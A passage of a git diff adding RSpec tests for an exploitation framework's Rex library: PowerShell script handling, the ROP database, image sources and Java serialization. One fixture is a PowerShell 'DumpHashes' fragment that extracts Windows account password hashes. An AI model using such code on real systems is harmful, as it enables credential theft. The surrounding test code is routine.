mode 100644 index 0000000000..e28fc63391 --- /dev/null +++ b/spec/lib/rex/exploitation/powershell_spec.rb @@ -0,0 +1,47 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/powershell' + +describe Rex::Exploitation::Powershell do + + let(:example_script) do + """function DumpHashes +{ + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + \"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower()); + } +} +DumpHashes""" + end + + describe "::read_script" do + it 'should create a script from a string input' do + script = described_class.read_script(example_script) + script.should be_a_kind_of Rex::Exploitation::Powershell::Script + end + end + + describe "::process_subs" do + it 'should create an array of substitutions to process' do + subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;") + subs.should eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']] + end + end + + describe "::make_subs" do + it 'should substitute values in script' do + script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']]) + script.include?('BitConverter').should be_falsey + script.include?('ParpConverter').should be_truthy + end + end + +end + diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index a1ae61b24b..100652fa96 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -16,23 +16,23 @@ describe Rex::Exploitation::RopDb do context ".has_rop?" do it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should be_true + ropdb.has_rop?("msvcrt").should be_truthy end it "should find the java ROP database" do - ropdb.has_rop?("java").should be_true + ropdb.has_rop?("java").should be_truthy end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should be_true + ropdb.has_rop?("hxds").should be_truthy end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should be_true + ropdb.has_rop?("flash").should be_truthy end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should be_false + ropdb.has_rop?("sinn3r").should be_falsey end end @@ -82,4 +82,4 @@ describe Rex::Exploitation::RopDb do end end -end \ No newline at end of file +end diff --git a/spec/lib/rex/image_source/disk_spec.rb b/spec/lib/rex/image_source/disk_spec.rb new file mode 100644 index 0000000000..a00b59360c --- /dev/null +++ b/spec/lib/rex/image_source/disk_spec.rb @@ -0,0 +1,157 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/image_source/disk' + +describe Rex::ImageSource::Disk do + + let(:path) do + File.join(Msf::Config.data_directory, "templates", "template_x86_windows_old.exe") + end + + let(:file) do + File.new(path) + end + + subject do + described_class.new(file) + end + + it_should_behave_like 'Rex::ImageSource::ImageSource' + + describe "#initialize" do + subject(:disk_class) do + described_class.allocate + end + + context "when _len not sent as argument" do + let(:_file) { file } + + it "initializes size to file length" do + disk_class.send(:initialize, file) + expect(disk_class.size).to eq(4608) + end + end + + context "when _offset not sent as argument" do + let(:_file) { file } + it "initializes file_offset to 0" do + disk_class.send(:initialize, file) + expect(disk_class.file_offset).to eq(0) + end + end + end + + describe "#read" do + context "when offset less than 0" do + let(:offset) { -1 } + let(:len) { 20 } + + it "raises a RangeError" do + expect { subject.read(offset, len) }.to raise_error(RangeError) + end + end + + context "offset plus len greater than size" do + let(:offset) { 0 } + let(:len) { 16000 } + + it "raises a RangeError" do + expect { subject.read(offset, len) }.to raise_error(RangeError) + end + end + + context "when offset and len inside range" do + let(:offset) { 0 } + let(:len) { 2 } + + it "returns file contents" do + expect(subject.read(offset, len)). to eq('MZ') + end + end + + context "instance with tampered size" do + let(:tampered_size) { 6000 } + + subject(:tampered) do + described_class.new(file, 0, tampered_size) + end + + context "when reading offset after the real file length" do + let(:offset) { 5000 } + let(:len) { 2 } + it "returns nil" do + expect(tampered.read(offset, len)).to be_nil + end + end + end + end + + describe "#index" do + let(:search) { 'MZ' } + + it "returns index of first search occurrence" do + expect(subject.index(search)).to eq(0) + end + + context "when offset out of range" do + it "returns nil" do + expect(subject.index(search, 6000)).to be_nil + end + end + + context "when search string not found" do + it "returns nil" do + expect(subject.index(search, 4600)).to be_nil + end + end + + context "instance with tampered size" do + let(:tampered_size) { 6000 } + + subject(:tampered) do + described_class.new(file, 0, tampered_size) + end + + context "when searching offset after the real file length" do + let(:offset) { 5000 } + it "raises NoMethodError" do + expect{ tampered.index(search, offset) }.to raise_error(NoMethodError) + end + end + end + end + + describe "#subsource" do + let(:offset) { 2 } + let(:len) { 512 } + + it "returns a new Rex::ImageSource::Disk" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Disk with same file" do + expect(subject.subsource(offset, len).file).to eq(subject.file) + end + + it "returns a new Rex::ImageSource::Disk with provided size" do + expect(subject.subsource(offset, len).size).to eq(len) + end + + it "returns a new Rex::ImageSource::Disk with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + end + + describe "#close" do + it "returns nil" do + expect(subject.close).to be_nil + end + + it "closes the associated file" do + expect(subject.file.closed?).to be_falsey + subject.close + expect(subject.file.closed?).to be_truthy + end + end +end diff --git a/spec/lib/rex/image_source/memory_spec.rb b/spec/lib/rex/image_source/memory_spec.rb new file mode 100644 index 0000000000..d2246ac83c --- /dev/null +++ b/spec/lib/rex/image_source/memory_spec.rb @@ -0,0 +1,191 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/image_source/memory' + +describe Rex::ImageSource::Memory do + + let(:raw_data) { 'ABCDEFGHIJKLMNOP' } + + subject do + described_class.new(raw_data) + end + + it_should_behave_like 'Rex::ImageSource::ImageSource' + + describe "#initialize" do + subject(:memory_class) do + described_class.allocate + end + + it "initializes size to data length" do + memory_class.send(:initialize, raw_data) + expect(memory_class.size).to eq(raw_data.length) + end + + it "initializes file_offset to 0 by default" do + memory_class.send(:initialize, raw_data) + expect(memory_class.file_offset).to eq(0) + end + + context "when using nil as data" do + it "raises an error" do + expect { memory_class.send(:initialize, nil) }.to raise_error(NoMethodError) + end + end + end + + describe "#read" do + context "when offset is positive" do + let(:offset) { 1 } + let(:len) { 10 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String of provided length" do + expect(subject.read(offset, len).length).to eq(10) + end + + it "returns an String with _raw_data contents starting at provided offset" do + expect(subject.read(offset, len)).to start_with('BCD') + end + end + + context "when offset is negative" do + let(:offset) { -5 } + let(:len) { 2 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String of provided length" do + expect(subject.read(offset, len).length).to eq(2) + end + + it "offset is counted from the end of the _raw_data" do + expect(subject.read(offset, len)).to eq('LM') + end + end + + context "when offset is out of range" do + let(:offset) { 20 } + let(:len) { 2 } + + it "returns nil" do + expect(subject.read(offset, len)).to be_nil + end + end + + context "when len is bigger than _raw_data" do + let(:offset) { 0 } + let(:len) { 20 } + + it "returns an String" do + expect(subject.read(offset, len)).to be_a_kind_of(String) + end + + it "returns an String truncated to available contents" do + expect(subject.read(offset, len).length).to eq(raw_data.length) + end + end + end + + describe "#subsource" do + let(:offset) { 2 } + let(:len) { 10 } + + it "returns a new Rex::ImageSource::Memory" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Memory with provided size" do + expect(subject.subsource(offset, len).size).to eq(len) + end + + it "returns a new Rex::ImageSource::Memory with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + + it "returns a new Rex::ImageSource::Memory with rawdata from the original" do + expect(subject.subsource(offset, len).rawdata).to eq(subject.rawdata[offset, len]) + end + + context "when offset is out of range" do + let(:offset) { 20 } + let(:len) { 2 } + + it "raises an error" do + expect { subject.subsource(offset, len) }.to raise_error(NoMethodError) + end + end + + context "when len is bigger than source rawdata" do + let(:offset) { 2 } + let(:len) { 20 } + + it "returns a new Rex::ImageSource::Memory" do + expect(subject.subsource(offset, len)).to be_kind_of(described_class) + end + + it "returns a new Rex::ImageSource::Memory with provided size truncated" do + expect(subject.subsource(offset, len).size).to eq(14) + end + + it "returns a new Rex::ImageSource::Memory with file_offset added to the original" do + expect(subject.subsource(offset, len).file_offset).to eq(offset + subject.file_offset) + end + + it "returns a new Rex::ImageSource::Memory with rawdata truncated" do + expect(subject.subsource(offset, len).rawdata).to eq('CDEFGHIJKLMNOP') + end + end + end + + describe "#close" do + it "returns nil" do + expect(subject.close).to be_nil + end + end + + describe "#index" do + let(:found) { 'FG' } + let(:not_found) { 'XYZ' } + + context "when search available substring" do + it "returns the index of the first occurrence" do + expect(subject.index(found)).to eq(5) + end + + context "when using negative offset" do + let(:offset) { -14 } + it "returns the index of the first occurrence" do + expect(subject.index(found, offset)).to eq(5) + end + end + + context "when using positive offset" do + let(:offset) { 1 } + it "returns the index of the first occurrence" do + expect(subject.index(found, offset)).to eq(5) + end + end + end + + context "when search not available substring" do + it "returns nil" do + expect(subject.index(not_found)).to be_nil + end + end + + context "when using negative offset" do + let(:offset) { -1 } + it "start to search from offset from the end of the string" do + expect(subject.index(found, offset)).to be_nil + end + end + end + +end diff --git a/spec/lib/rex/java/serialization/model/annotation_spec.rb b/spec/lib/rex/java/serialization/model/annotation_spec.rb new file mode 100644 index 0000000000..d648809fef --- /dev/null +++ b/spec/lib/rex/java/serialization/model/annotation_spec.rb @@ -0,0 +1,105 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::Annotation do + subject(:annotation) do + described_class.new + end + + let(:empty_contents) { "\x78" } + let(:empty_contents_io) { StringIO.new(empty_contents) } + let(:contents) { "\x77\x05\x01\x02\x03\x04\x05\x7a\x00\x00\x00\x05\x01\x02\x03\x04\x05\x78" } + let(:contents_io) { StringIO.new(contents) } + + describe ".new" do + it "Rex::Java::Serialization::Model::Annotation" do + expect(annotation).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "initializes contents with empty array" do + expect(annotation.contents).to be_empty + end + end + + describe "#encode" do + + context "when empty contents" do + it do + annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + expect(annotation.encode).to eq(empty_contents) + end + end + + context "when block data contents" do + it do + annotation.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x01\x02\x03\x04\x05") + annotation.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, "\x01\x02\x03\x04\x05") + annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + expect(annotation.encode).to eq(contents) + end + end + + end + + describe "#decode" do + + context "when empty contents" do + it "returns a Rex::Java::Serialization::Model::Annotation" do + expect(annotation.decode(empty_contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "unserializes one content" do + annotation.decode(empty_contents_io) + expect(annotation.contents.length).to eq(1) + end + + it "unserializes one EndBlockData content" do + annotation.decode(empty_contents_io) + expect(annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::EndBlockData) + end + end + + context "when block data contents" do + it "returns a Rex::Java::Serialization::Model::Annotation" do + expect(annotation.decode(contents_io)).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "deserializes contents" do + annotation.decode(contents_io) + expect(annotation.contents.length).to eq(3) + end + + it "deserializes block data contents" do + annotation.decode(contents_io) + expect(annotation.contents[0]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockData) + end + + it "deserializes block data long contents" do + annotation.decode(contents_io) + expect(annotation.contents[1]).to be_a_kind_of(Rex::Java::Serialization::Model::BlockDataLong) + end + + it "deserializes end block data" do + annotation.decode(contents_io) + expect(annotation.contents[2]).to be_a_kind_of(Rex::Java::Serialization::Model::EndBlockData) + end + end + + end + + describe "#to_s" do + it "prints an empty annotation" do + annotation.decode(empty_contents_io) + expect(annotation.to_s).to eq('[ EndBlockData ]') + end + + it "prints an annotation with contents" do + annotation.decode(contents_io) + expect(annotation.to_s).to eq('[ BlockData { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, BlockDataLong { [ 0x1, 0x2, 0x3, 0x4, 0x5 ] }, EndBlockData ]') + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_long_spec.rb b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb new file mode 100644 index 0000000000..ce9eb43d12 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/block_data_long_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::BlockDataLong do + subject(:block) do + described_class.new + end + + let(:sample_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } + let(:sample_block_io) { StringIO.new(sample_block) } + let(:empty_block) { "\x00\x00\x00\x00" } + let(:empty_block_io) { StringIO.new(empty_block) } + let(:incomplete_block) { "\x00\x00\x00\x10\x01\x02\x03\x04\x05" } + let(:incomplete_block_io) { StringIO.new(incomplete_block) } + let(:empty_io) { StringIO.new('') } + + describe ".new" do + it "Rex::Java::Serialization::Model::BlockDataLong" do + expect(block).to be_a(Rex::Java::Serialization::Model::BlockDataLong) + end + + it "initializes length to 0" do + expect(block.length).to eq(0) + end + + it "initializes contents with empty string" do + expect(block.contents).to be_empty + end + end + + describe "#encode" do + context "when empty block" do + it { expect(block.encode).to eq(empty_block) } + end + + context "when filled block" do + it do + block.length = 16 + block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" + expect(block.encode).to eq(sample_block) + end + end + end + + describe "#decode" do + context "when stream contains empty string" do + it "returns nil" do + expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains empty block" do + it "returns a Rex::Java::Serialization::Model::BlockDataLong" do + expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) + end + + it "sets length to 0" do + block.decode(empty_block_io) + expect(block.length).to eq(0) + end + + it "sets contents to empty string" do + block.decode(empty_block_io) + expect(block.contents).to be_empty + end + end + + context "when stream contains incomplete block" do + it "returns nil" do + expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains correct block" do + + it "returns a Rex::Java::Serialization::Model::BlockDataLong" do + expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong) + end + + it "sets length to 0" do + block.decode(sample_block_io) + expect(block.length).to eq(16) + end + + it "sets contents to sample string" do + block.decode(sample_block_io) + expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") + end + end + + describe "#to_s" do + it "prints a block with contents" do + block.decode(sample_block_io) + expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') + end + + it "prints an empty string for an empty block" do + block.decode(empty_block_io) + expect(block.to_s).to eq('[ ]') + end + end + + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/block_data_spec.rb b/spec/lib/rex/java/serialization/model/block_data_spec.rb new file mode 100644 index 0000000000..d12d342cdc --- /dev/null +++ b/spec/lib/rex/java/serialization/model/block_data_spec.rb @@ -0,0 +1,106 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::BlockData do + subject(:block) do + described_class.new + end + + let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" } + let(:sample_block_io) { StringIO.new(sample_block) } + let(:empty_block) { "\x00" } + let(:empty_block_io) { StringIO.new(empty_block) } + let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" } + let(:incomplete_block_io) { StringIO.new(incomplete_block) } + let(:empty_io) { StringIO.new('') } + + describe ".new" do + it "Rex::Java::Serialization::Model::BlockData" do + expect(block).to be_a(Rex::Java::Serialization::Model::BlockData) + end + + it "initializes length to 0" do + expect(block.length).to eq(0) + end + + it "initializes contents with empty string" do + expect(block.contents).to be_empty + end + end + + describe "#encode" do + context "when empty block" do + it { expect(block.encode).to eq(empty_block) } + end + + context "when filled block" do + it do + block.length = 16 + block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" + expect(block.encode).to eq(sample_block) + end + end + end + + describe "#decode" do + context "when stream contains empty string" do + it "returns nil" do + expect { block.decode(empty_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains empty block" do + it "returns a Rex::Java::Serialization::Model::BlockData" do + expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) + end + + it "sets length to 0" do + block.decode(empty_block_io) + expect(block.length).to eq(0) + end + + it "sets contents to empty string" do + block.decode(empty_block_io) + expect(block.contents).to be_empty + end + end + + context "when stream contains incomplete block" do + it "returns nil" do + expect { block.decode(incomplete_block_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains correct block" do + + it "returns a Rex::Java::Serialization::Model::BlockData" do + expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData) + end + + it "sets length to 0" do + block.decode(sample_block_io) + expect(block.length).to eq(16) + end + + it "sets contents to sample string" do + block.decode(sample_block_io) + expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10") + end + end + end + + describe "#to_s" do + it "prints a block with contents" do + block.decode(sample_block_io) + expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]') + end + + it "prints an empty string for an empty block" do + block.decode(empty_block_io) + expect(block.to_s).to eq('[ ]') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/class_desc_spec.rb b/spec/lib/rex/java/serialization/model/class_desc_spec.rb new file mode 100644 index 0000000000..7e51a104c7 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/class_desc_spec.rb @@ -0,0 +1,81 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::ClassDesc do + subject(:class_desc) do + described_class.new + end + + let(:sample) do + "\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" + + "\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" + + "\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" + + "\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" + + "\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70" + end + + let(:sample_io) { StringIO.new(sample) } + + describe ".new" do + it "Rex::Java::Serialization::Model::NewClassDesc" do + expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc) + end + + it "initializes description with nil" do + expect(class_desc.description).to be_nil + end + end + + describe "#decode" do + it "returns a Rex::Java::Serialization::Model::ClassDesc" do + expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc) + end + + it "deserializes the description correctly" do + class_desc.decode(sample_io) + expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + end + + describe "#encode" do + it "serializes a ClassDesc" do + super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new + super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number') + super_class_desc_new.serial_version = 0x86ac951d0b94e08b + super_class_desc_new.flags = 2 + super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc.description = super_class_desc_new + + class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte') + class_desc_new.serial_version = 0x9c4e6084ee50f51c + class_desc_new.flags = 2 + field = Rex::Java::Serialization::Model::Field.new + field.type = 'byte' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value') + class_desc_new.fields << field + class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + class_desc_new.super_class = super_class_desc + + class_desc.description = class_desc_new + + expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*")) + end + end + + describe "#to_s" do + it "prints a sample ClassDesc" do + class_desc.decode(sample_io) + expect(class_desc.to_s).to be_a(String) + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/field_spec.rb b/spec/lib/rex/java/serialization/model/field_spec.rb new file mode 100644 index 0000000000..10a167042c --- /dev/null +++ b/spec/lib/rex/java/serialization/model/field_spec.rb @@ -0,0 +1,108 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::Field do + subject(:field) do + described_class.new + end + + let(:sample_primitive) { "I\x00\x06number" } + let(:sample_primitive_io) { StringIO.new(sample_primitive) } + let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" } + let(:sample_object_io) { StringIO.new(sample_object) } + + describe ".new" do + it "Rex::Java::Serialization::Model::Field" do + expect(field).to be_a(Rex::Java::Serialization::Model::Field) + end + + it "initializes code with empty string" do + expect(field.type).to be_empty + end + + it "initializes name with nil" do + expect(field.name).to be_nil + end + + it "initializes field_type with nil" do + expect(field.field_type).to be_nil + end + end + + describe "#encode" do + context "when empty field" do + it { expect { field.encode }.to raise_error(::RuntimeError) } + end + + context "when primitive field" do + it do + field.type = 'int' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number') + expect(field.encode).to eq(sample_primitive) + end + end + + context "when object field" do + it do + field.type = 'array' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array') + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;') + expect(field.encode).to eq(sample_object) + end + end + end + + describe "#decode" do + context "when stream contains a primitive field" do + it "returns a Rex::Java::Serialization::Model::Field" do + expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field) + end + + it "deserializes field type" do + field.decode(sample_primitive_io) + expect(field.type).to eq('int') + end + + it "deserializes field name as Utf" do + field.decode(sample_primitive_io) + expect(field.name.contents).to eq('number') + end + end + + context "when stream contains an object field" do + it "returns a Rex::Java::Serialization::Model::Field" do + expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field) + end + + it "deserializes field type" do + field.decode(sample_object_io) + expect(field.type).to eq('array') + end + + it "deserializes field name" do + field.decode(sample_object_io) + expect(field.name.contents).to eq('test_array') + end + + it "deserializes field_type string" do + field.decode(sample_object_io) + expect(field.field_type.contents).to eq('[LEmployee;') + end + end + end + + describe "#to_s" do + it "prints an stream containing a primitive field" do + field.decode(sample_primitive_io) + expect(field.to_s).to eq('number (int)') + end + + it "prints an stream containing an object field" do + field.decode(sample_object_io) + expect(field.to_s).to eq('test_array ([LEmployee;)') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb new file mode 100644 index 0000000000..c72d54cca5 --- /dev/null +++ b/spec/lib/rex/java/serialization/model/long_utf_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::LongUtf do + subject(:long_utf) do + described_class.new + end + + let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" } + let(:sample_utf_io) { StringIO.new(sample_utf) } + let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" } + let(:empty_utf_io) { StringIO.new(empty_utf) } + let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" } + let(:incomplete_utf_io) { StringIO.new(incomplete_utf) } + let(:empty_io) { StringIO.new('') } + + describe ".new" do + it "Rex::Java::Serialization::Model::LongUtf" do + expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf) + end + + it "initializes length to 0" do + expect(long_utf.length).to eq(0) + end + + it "initializes contents with empty string" do + expect(long_utf.contents).to be_empty + end + end + + describe "#encode" do + context "when empty long_utf" do + it { expect(long_utf.encode).to eq(empty_utf) } + end + + context "when filled utf" do + it do + long_utf.length = 16 + long_utf.contents = 'java.lang.Number' + expect(long_utf.encode).to eq(sample_utf) + end + end + end + + describe "#decode" do + context "when stream contains empty string" do + it "raises RuntimeError" do + expect { long_utf.decode(empty_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains empty long_utf" do + it "returns a Rex::Java::Serialization::Model::LongUtf" do + expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) + end + + it "sets length to 0" do + long_utf.decode(empty_utf_io) + expect(long_utf.length).to eq(0) + end + + it "sets contents to empty string" do + long_utf.decode(empty_utf_io) + expect(long_utf.contents).to be_empty + end + end + + context "when stream contains incomplete long_utf" do + it "returns nil" do + expect { long_utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + end + end + + context "when stream contains correct long_utf" do + + it "returns a Rex::Java::Serialization::Model::LongUtf" do + expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf) + end + + it "sets length to 0" do + long_utf.decode(sample_utf_io) + expect(long_utf.length).to eq(16) + end + + it "sets contents to sample string" do + long_utf.decode(sample_utf_io) + expect(long_utf.contents).to eq('java.lang.Number') + end + end + + describe "#to_s" do + it "prints an stream containing a sample long utf" do + long_utf.decode(sample_utf_io) + expect(long_utf.to_s).to eq('java.lang.Number') + end + + it "prints an stream containing an empty long utf" do + long_utf.decode(empty_utf_io) + expect(long_utf.to_s).to eq('') + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/new_array_spec.rb b/spec/lib/rex/java/serialization/model/new_array_spec.rb new file mode 100644 index 0000000000..f4aa70d96d --- /dev/null +++ b/spec/lib/rex/java/serialization/model/new_array_spec.rb @@ -0,0 +1,469 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::NewArray do + subject(:new_array) do + described_class.new + end + + let(:boolean_array) do + "\x72\x00\x02\x5b\x5a\x57\x8f\x20" + + "\x39\x14\xb8\x5d\xe2\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x0a\x01\x00" + + "\x01\x01\x01\x01\x01\x01\x01\x00" + end + let(:boolean_array_io) { StringIO.new(boolean_array) } + + let(:byte_array) do + "\x72\x00\x02\x5b\x42\xac\xf3\x17" + + "\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\xec\x41" + end + let(:byte_array_io) { StringIO.new(byte_array) } + + let(:char_array) do + "\x72\x00\x02\x5b\x43\xb0\x26\x66" + + "\xb0\xe2\x5d\x84\xac\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\x00\x61" + + "\x00\x62" + end + let(:char_array_io) { StringIO.new(char_array) } + + let(:short_array) do + "\x72\x00\x02\x5b\x53\xef\x83\x2e" + + "\x06\xe5\x5d\xb0\xfa\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\xff\xec" + + "\x00\x41" + end + let(:short_array_io) { StringIO.new(short_array) } + + let(:double_array) do + "\x72\x00\x02\x5b\x44\x3e\xa6\x8c" + + "\x14\xab\x63\x5a\x1e\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\x3f\xd0" + + "\x00\x00\x00\x00\x00\x00\x3f\xca" + + "\xe1\x47\xae\x14\x7a\xe1" + end + let(:double_array_io) { StringIO.new(double_array) } + + let(:float_array) do + "\x72\x00\x02\x5b\x46\x0b\x9c\x81" + + "\x89\x22\xe0\x0c\x42\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\x3f\x80" + + "\x00\x00\x40\x00\x00\x00" + end + let(:float_array_io) { StringIO.new(float_array) } + + let(:int_array) do + "\x72\x00\x02\x5b\x49\x4d\xba\x60" + + "\x26\x76\xea\xb2\xa5\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\xff\xff" + + "\xff\xec\x00\x00\x00\x41" + end + let(:int_array_io) { StringIO.new(int_array) } + + let(:long_array) do + "\x72\x00\x02\x5b\x4a\x78\x20\x04" + + "\xb5\x12\xb1\x75\x93\x02\x00\x00" + + "\x78\x70\x00\x00\x00\x02\xff\xff" + + "\xff\xff\xff\xff\xff\xec\x00\x00" + + "\x00\x00\x00\x00\x00\x41" + end + let(:long_array_io) { StringIO.new(long_array) } + + let(:string_array) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76" + + "\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2" + + "\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x03\x6d\x73\x66" + end + let(:string_array_io) { StringIO.new(string_array) } + + describe ".new" do + it 